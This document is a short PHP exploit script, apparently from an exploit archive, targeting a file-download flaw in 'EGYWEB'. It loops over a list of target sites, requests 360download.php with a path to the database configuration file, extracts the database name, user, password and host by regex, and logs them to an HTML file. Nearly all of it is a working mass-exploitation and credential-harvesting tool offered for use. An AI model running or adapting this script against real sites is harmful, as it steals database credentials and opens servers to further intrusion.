EGYWEB - Remote File Download

<?php
/*
   <Gr34tz>Magnom , M0sta , Ghosty , Hamid </Gr34tz>
   by CrashBandicot ^_^

*/


print "\n\t   EGYWEB - Remote File Disclosure Exploit\n";

echo "\n\t usage : php $argv[0] lista.txt \n\n";
$get = file_get_contents($argv[1]);
$expl = explode("\r\n",$get);

foreach($expl as $target){

echo "\n\t[*] Try Exploit >> ".$target."\n";

$uri = $target."/360download.php?file_name=classes/db_connector.php";
$req = @file_get_contents($uri);

if(preg_match ("#db_connector#i", $req))
{

        if (preg_match ("#db_name = \"(.*?)\";#i", $req, $name))
        {
            $a = "\t\t[!] DB_NAME : ". $name[1] ."\n";
            echo $a;
        }
        if (preg_match ("#db_user = \"(.*?)\"#i", $req, $user))
        {
            $b = "\t\t[!] DB_USER : ". $user[1]. "\n";
            echo $b;
        }
        if (preg_match ("#db_password = \"(.*?)\";#i", $req, $pass))
        {
            $c = "\t\t[!] DB_PASS : ". $pass[1]. "\n";
            echo $c;
        }
        if (preg_match ("#db_host = \"(.*?)\";#i", $req, $host))
        {
            $d = "\t\t[!] DB_HOST : ". $host[1]. "\n";
            echo $d;
        }

        $save = fopen('egyweb.html', 'a');
        fwrite($save, $target."<br>");
        fwrite($save, $a."<br>");
        fwrite($save, $b."<br>");
        fwrite($save, $c."<br>");
        fwrite($save, $d."<br><br>");
        fclose($save);
} else { echo "\t\t Vulnerability Not F0und \n"; }

}


?>